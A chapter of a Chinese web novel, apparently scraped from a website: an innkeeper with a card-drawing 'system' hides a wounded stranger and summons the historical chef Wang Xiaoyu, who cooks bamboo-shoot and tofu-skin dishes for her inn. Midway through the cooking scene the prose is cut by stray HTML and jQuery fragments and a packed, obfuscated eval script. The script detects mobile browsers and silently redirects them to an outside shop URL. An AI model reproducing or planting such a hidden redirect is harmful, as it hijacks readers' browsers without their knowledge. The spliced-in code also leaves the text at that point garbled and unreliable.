————
沈棠也不知道,她把止血药粉撒在伤口上,用布按着,再用力压住。
那人闷哼了一声,眉头紧皱,但没有醒,嘴唇在动,好像在说什么。
沈棠凑近听。
“……太子……快走……”
太子?
她愣了一下,随即把这两个字从脑子里清掉。
没听见,她什么都没听见。
【宿主,客栈外面有人来了。】
系统的声音在脑海响起,沈棠一顿。
“沈伯,按住别松手。”
把人交给沈伯,沈棠独自来到大堂,从大门门缝里隐隐约约看见几个黑影。
他们正在犹豫。
好在勤劳的阿兰早已经把门口门内的血迹清理了,这群人没有看见血,似乎也不打算硬来。
沈棠摸了把刀,贴住门缝屏住呼吸,目光一眨不眨地盯着外头。
忽然,门外一阵风袭来,一个看不清面容的蒙面人从大路上闪过。
他速度很快,似乎在躲什么人,可他的动静又不小,将门口这群人的注意力都吸引走了。
“在那里?!”
“追,快追!”
等这群人呼呼啦啦跑开,黑影彻底散去,沈棠这才松了一口气。
她怦怦直跳的心脏这会儿还没缓过来。
沈棠从系统又买了一些药,她买的都是些普通药材。
反正能救活就行了……
沈棠不会看病,她是直接从系统这里兑换的药方子,把药材连同药方子一起丢给阿兰,让她去熬药了。
沈棠顺势又把一些药材,食材丢到地窖里去。
这才拍拍手打算回去。
今晚夜风很凉,降温了。
她站在后院,抬头看了一眼月亮。
月亮被云遮着,朦朦胧胧的看不太清。
今天上午来了一对江湖人士,说北边又打了,说临江城不让流民进,说城外一天死几十个……
然后来了几十个流民,她给了粥和饼……
最后来了一个浑身是血的男人,倒在她店门口,嘴里喊着“太子快走”……
沈棠深吸一口气。
这乱世,离她越来越近了。
她迷迷糊糊地睡了过去……
——
这一夜睡得不太安宁,沈棠甚至比昨天起的还早。
【叮!宿主早上好!新任务已发布:七天内净赚一两银子。奖励:酒楼三层扩建图纸。】
系统的声音令沈棠脚步顿住,她就说她忘了什么事来着。
忘记抽卡了!
“系统,抽卡”
【收到抽卡指令,抽卡中——】
眼前浮现一道光幕,几张牌背面朝上散发着金光,她随手点了一张。
光幕炸开。
系统面板上弹出一行介绍:
【恭喜宿主抽中S卡,名厨王小余。
王小余是清代乾隆年间名厨,文学家袁枚的家厨,也是华夏历史上唯一一位死后有传的厨师。
人物技能:擅长河鲜、笋类和精细素菜。
S卡特殊属性:使用优质食材时,菜品风味大幅提升,由于厨师对食材品质有严格要求,劣质食材会显著影响成品质量。】
【宿主,卡牌人物王小余已经到酒楼门口了,快去迎接吧!】
沈棠几步跑到门口,就看见一个五十来岁,灰白头发,穿着一身洗得发白的蓝布衫,袖口挽到小臂的男人。
他的脸很瘦,颧骨高,眼窝深,看着有几分刻薄相。
“你好掌柜”王小余看着沈棠,“听说这里招人手,我想过来谋个伙计。”
“您好前辈”
沈棠曾经查找资料时了解过王小余,她记得他最拿手的是青盐甲鱼,鳝丝羹,煨三鲜。
沈棠领着王小余去了厨房,王小余低头看了一眼灶台上的锅,又抬头看了一眼沈棠。
眼神里有些不满。
下一秒他开始翻她的调料罐,粗盐他闻了闻,眉头皱成一团。
又看了一眼酱油,他皱起眉头。
“就这些?”他问。
沈棠点头,“就这些。”
“锅也不行,火也不行......”他把罐子放下,转身看着她,开始认真自我介绍:
“王小余”他拱了拱手,语气不算恭敬,但也谈不上失礼,“随园厨子,死了几十年了,本来已经入土为安了结果一个自称系统的东西说让我来听你命令,可以让我重活一世。”
“嗯”沈棠答应了一声,问了一句,“王前辈,你会做些什么?”
王小余开始翻库存。
粗麦粉、几根葱、一小块姜、几个鸡蛋、昨天剩的一点碎肉,他翻了半天,从角落里扒拉出一小包干笋。
“这笋哪来的?”
“不知道什么时候买的”沈棠说。
王小余把笋干放在鼻子底下闻了闻。“还行,没受潮,有水豆腐吗?”
“早上做的,还剩两块。”
“素鸡呢?”
“没有。”
王小余看了她一眼,没说什么。
他把笋干放进盆里,倒水泡上,又去后院,在墙角看见几丛野生的荠菜,蹲下来看了看,拔了一把。
沈棠站在灶台边看着他。
这人从进门到现在,没停过,不是在挑食材的毛病,就是在找能用的东西。
“你要做什么?”她问。
“煨三笋,素烧鹅。”王小余头也没抬,“你这里有豆腐皮吗?”
“没有。”
“去买。”他不客气的下命令。
沈棠问,“还要什么?”
王小余想了想,一骨碌把要用的东西全给说了。
沈棠一边听一边划拉系统商店,直接在系统里给他买了。
王小余拿到所有的食材,撸起袖子就开始干活。
“豆腐皮泡了……”王小余说,沈棠在一旁打下手,顺便偷师。
“豆腐皮要用温水,不能用开水,开水烫了就烂了。”
沈棠照做。
系统买的每一根笋的嫩得很,王小余把笋一一拨了皮,切成滚刀块放进锅里焯水。
另起一口锅,他放了小块猪油化开,下姜片煸香,又将笋块捞出来控干水分,下锅翻炒。
“煨三笋,不是只有笋。”他一边炒一边说,“鲜笋提鲜,干笋增香,还有一样……”
他从灶台上拿出泡好的笋干切成段,也下了锅。
“不同的笋,不同的口感……鲜的脆,干的韧,再加上汤汁煨出来的软,这才是三层,一层叠一层,吃着就不单调。”
沈棠在旁边看着连连点头。
锅里加了昨晚剩的骨头汤,已经滤了两遍,清亮的,再用小火慢煨,咕嘟咕嘟冒着泡。
接下来,王小余开始做素烧鹅。
豆腐皮泡软,铺在案板上。
香菇泡发切碎,荠菜焯水切末,加上一点点盐和香油拌匀,将馅料铺在豆腐皮上卷紧,用棉线扎好。
“豆腐皮卷的时候不能太紧,紧了不入味,但也不能太松,松了一煮就散。”王小余手上没停,嘴里也没停。
沈棠站在他旁边,眼睛盯着他的手。
卷好了,锅里油也热了,趁着热油将豆腐皮卷下锅,两面煎到金黄,然后加酱油、糖、一点点水,小火焖。
原先这些调味料都是没有的,沈棠是能省就省,但名厨要好的食材,沈棠大方的购入了。
灶台上两个锅同时煨着,王小余先舀了一点煨三笋的汤汁尝了尝。
“尝尝”他示意沈棠试一试。
沈棠夹了一筷子,放进嘴里。
味道果然很丰富,脆的,糯的,软的。
三层口感叠在一起,汤汁收得刚好,咸鲜带甜。
她嚼了两下,“好吃”
等到素烧鹅出锅,切成厚片,整齐的一个个码在盘子里,豆腐皮一层一层卷得紧实,切面整齐,馅料嵌在中间,颜色也好看。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17631844|206393||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
王小余言简意赅道,“尝。”
沈棠夹了一片,外皮煎得脆,焖过之后变软了但还有嚼劲,香菇和荠菜的香味融在一起,咸淡正好。
王小余把围裙解下来叠好,放在案板上。
“怎么样,试菜可还满意?”他问道。
“当然”沈棠笑开眼,“十分满意。”
王小余有些小小的自豪,“既然如此,以后厨房交给我,由我说了算。”
沈棠夹起另一片素烧鹅放进嘴里,含糊不清,“嗯嗯嗯,你说了算”
“……”王小余一时无言,这后辈,怎吃的如此不顾形象?
等店里另外的三人陆陆续续起床,沈棠叫他们过来吃早饭。
早饭是她煮的面,和王小余做的新菜。
“大家互相认识一下,这位是新来的厨子,姓王”沈棠给大家介绍道,又看向王小余道,“这是沈伯,这是阿兰阿秀姐妹俩。”
王小余点头一一问好,“我和沈大哥差不多大,以后大家也都叫我王伯吧”
“可以。”
大家纷纷问好,各自熟悉了。
沈伯目光中似乎有些许疑惑,但现下不是个好时机他也没有开口。
吃过饭,沈棠带着一碗粥去了后院。
昨夜救的那人还没醒,但呼吸沉稳,看着应该挺好的。
沈棠把粥放在床头,看了他一眼。
他脸上的血都被擦干净了,长得挺不错的,下颌的线条很硬,眉骨很高。
她没再多看,转身出去了。
——
临近中午,客人陆陆续续来了。
店里的人比起昨天明显多了不少。
今天有新菜单。
煨三笋,素烧鹅,配白面馒头。
定价不便宜,煨三笋三十文,素烧鹅二十五文,馒头两文一个。
沈伯看着价目牌,小声说:“小姐,会不会太贵了?”
沈棠安抚他,“不会,我们用的都是上好的食材…再说了,不是还有这些吗?”
反正菜单是王小余定的,她也没办法。
沈伯没有再说话了,他视线越过沈棠,看向后面灶台的王小余,压低了声音,“小姐,这人您是怎么认识的?主动来的?我们没有见过这人,他可信吗?”
沈棠心说,那可太可信了,她召唤出来的卡牌人物都会被限制,无法告诉别人他们的真实来历,也没法远离她,否则就会消失。
完全不需要担心他们的背叛。
“放心吧沈伯,我识人还是可以的”沈棠说道。
两人没说两句,有客人进来了。
这客人是个中年商人,他看了一眼菜单就皱起眉毛,“你这比城里还贵?”
沈棠也不生气,笑着说:“客官尝尝看,觉得不值这价,不收钱。”
商人半信半疑地点了一份煨三笋。
菜上桌了,他夹一筷子嚼了两下,紧皱的眉头瞬间松开了。
开始埋头苦吃再没说话,吃完,他放下筷子喊:“再来一份。”
第二份上来,他又吃完了。
“掌柜的,你这厨子不错,哪请的?”
沈棠笑而不语。
等阿兰收了碗筷,又有两个人进来了,
是那对江湖男女。
这次男的点了一份素烧鹅和酒,女的要了一份煨三笋。
“老板,换厨子了?”男人问沈棠。
沈棠点点头:“是,特意找了个大厨。”
“老板最近生意不错啊”
大堂里多了两位伙计,后厨又来了个厨子,一般店里只有生意好才会招工。
“是啊,也不知道怎么回事,今早客流还真没断过……”沈棠说着说着神色转变为失望,“不过都是些路过进来歇脚的,连店也没住,急匆匆的……”
“沈老板,你可备好了吧,这些日子你这店啊,客人呐只会多不会少!”
沈棠立刻打起精神,“客官这话怎么说,可是最近发生了什么事?”